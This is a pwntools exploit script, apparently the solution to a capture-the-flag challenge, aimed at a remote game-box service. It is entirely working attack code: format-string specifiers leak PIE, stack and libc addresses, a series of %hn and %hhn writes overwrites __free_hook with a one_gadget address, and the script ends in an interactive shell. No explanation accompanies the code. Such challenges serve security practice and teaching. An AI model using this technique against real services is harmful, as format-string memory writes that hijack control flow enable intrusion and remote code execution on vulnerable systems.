1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
|
from pwn import *
io = remote('gamebox.yunyansec.com', 23852)
context.binary = 'pwn' libc = ELF('libc.so.6', checksec = False)
ru = lambda x : io.recvuntil(x, drop = True) sa = lambda a, b : io.sendafter(a, b) libc_os = lambda x : libc_base + x pie_os = lambda x : pie_base + x libc_sym = lambda x : libc_os(libc.sym[x]) ia = lambda : io.interactive()
def fmt(x): sa('What do you want to say?\n', x)
sa('Do you know who the best pwner is?\n', 'TokameinE_is_the_best_pwner\x00') fmt('%9$p,%8$p,%29$p,') pie_base = int(ru(','), 16) - (0x55a8cb7312f7 - 0x55a8cb730000) stack_addr = int(ru(','), 16) s_addr = stack_addr - (0x7ffc7dbc5070 - 0x7ffc7dbc5100) libc_base = int(ru(','), 16) - (0x7f1fe99ae840 - 0x7f1fe998e000) fh_addr = libc_sym('__free_hook') one = libc_os(0x4527a) pld = flat([ '%', str(int(hex(fh_addr)[-4:], 16)), 'c', '%10$hn\x00' ]) fmt(pld) pld = flat([ '%', str(int(hex(s_addr+2)[-2:], 16)), 'c', '%8$hhn\x00' ]) fmt(pld) pld = flat([ '%', str(int(hex(fh_addr)[-8:-4], 16)), 'c', '%10$hn\x00' ]) fmt(pld)
pld = flat([ '%', str(int(hex(s_addr+4)[-2:], 16)), 'c', '%8$hhn\x00' ]) fmt(pld) pld = flat([ '%', str(int(hex(fh_addr)[-12:-8], 16)), 'c', '%10$hn\x00' ]) fmt(pld)
pld = flat([ '%', str(int(hex(one)[-4:], 16)), 'c', '%28$hn\x00' ]) fmt(pld) pld = flat([ '%', str(int(hex(s_addr)[-2:], 16)), 'c', '%8$hhn\x00' ]) fmt(pld) pld = flat([ '%', str(int(hex(fh_addr+2)[-2:], 16)), 'c', '%10$hhn\x00' ]) fmt(pld) pld = flat([ '%', str(int(hex(one)[-8:-4], 16)), 'c', '%28$hn\x00' ]) fmt(pld) pld = flat([ '%', str(int(hex(fh_addr+4)[-2:], 16)), 'c', '%10$hhn\x00' ]) sleep(0.1) fmt(pld) pld = flat([ '%', str(int(hex(one)[-12:-8], 16)), 'c', '%28$hn\x00' ]) sleep(0.1) fmt(pld) pld = flat([ '%', str(int(hex(pie_os(0x0000000000004020)+0x300)[-4:], 16)), 'c', '%10$hn\x00' ]) sleep(0.1) fmt(pld) ia()
|